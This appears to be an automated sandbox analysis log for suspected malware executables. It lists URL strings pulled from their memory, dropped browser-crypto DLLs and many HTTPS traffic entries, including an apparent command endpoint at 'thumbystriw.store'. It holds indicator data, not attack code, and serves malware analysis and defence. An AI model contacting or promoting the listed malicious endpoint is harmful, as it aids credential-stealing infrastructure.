Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2569576526.000000000137A000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587559356.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2601492562.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586681389.0000000001376000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 580f9a92c2.exe, 00000011.00000003.2544874189.0000000005BB9000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792994853.0000000005A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 580f9a92c2.exe, 00000014.00000003.2820956525.0000000005D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1810865443.000000001D3FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp, 580f9a92c2.exe, 00000011.00000003.2544874189.0000000005BB7000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2545494896.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792994853.0000000005A5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 580f9a92c2.exe, 00000011.00000003.2545494896.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1810865443.000000001D3FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp, 580f9a92c2.exe, 00000011.00000003.2544874189.0000000005BB7000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2545494896.0000000005BB0000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792994853.0000000005A5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 580f9a92c2.exe, 00000011.00000003.2545494896.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: 580f9a92c2.exe, 00000011.00000003.2534083553.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbystriw.store:443/apibcryptPrimitives.dllQ
Source: chromecache_81.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: chromecache_79.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_79.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_79.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1874020188.0000000023620000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2574587942.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2820956525.0000000005D2A000.00000004.00000800.00020000.00000000.sdmp, IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1874020188.0000000023620000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2574587942.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2820956525.0000000005D2A000.00000004.00000800.00020000.00000000.sdmp, IIJKJDAFHJDHIEBGCFIDBKKFCB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
